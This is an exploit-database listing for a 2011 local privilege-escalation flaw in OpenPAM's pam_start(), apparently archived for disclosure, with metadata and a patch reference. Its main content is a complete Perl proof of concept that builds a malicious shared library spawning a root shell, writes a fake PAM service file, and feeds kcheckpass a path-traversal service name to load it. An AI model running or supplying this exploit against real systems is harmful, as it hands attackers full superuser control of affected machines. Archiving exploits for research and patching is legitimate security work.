header-logo
Suggest Exploit
vendor:
OpenPAM
by:
Anonymous
7.5
CVSS
HIGH
Local privilege-escalation
264
CWE
Product Name: OpenPAM
Affected Version From: Not specified
Affected Version To: Not specified
Patch Exists: YES
Related CWE:
CPE: Not specified
Metasploit:
Other Scripts:
Platforms Tested: FreeBSD 8.1 (Not tested on Linux)
2011

Local privilege-escalation vulnerability in OpenPAM

The vulnerability allows local attackers to execute arbitrary code with superuser privileges by exploiting a flaw in the 'pam_start()' function in OpenPAM. This can lead to the complete compromise of affected computers.

Mitigation:

Apply the patch provided in the link mentioned in the script.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/50607/info

OpenPAM is prone to a local privilege-escalation vulnerability.

Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

#!/usr/bin/perl

# kcheckpass invoking pam_start() with user provided
# service argument, what a bad idea. OpenPAM accepts that.
# Maybe this pam_start() vulnerability is exploitable via
# other vectors as well.
# Vuln tested on a FreeBSD 8.1. It does not affect
# Linux PAM, as it is checking for / character

# (C) 2011 by some dude, meant as a PoC! Only use on your own
# machine and on your own risk!!!
#
# This commit is likely to fix the bug:
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
#

my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";

# build suid shell
open(O,">/tmp/slam.c") or die $!;
print O<<EOC;

#include <stdio.h>
#include <unistd.h>

void __attribute__((constructor)) init()
{
	char *a[] = {"/bin/sh", NULL};
	setuid(0);
	execve(*a, a, NULL);
}
EOC
close(O);

# build fake pam module
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");

# build fake PAM service file
open(O,">/tmp/pamslam") or die $!;
print O<<EOP;
auth	sufficient	/tmp/slam.so
EOP
close(O);

print "We need more Elchsalami! Happy birthday dude!\n";
exec("$kcheckpass -c ../../../tmp/pamslam -m classic");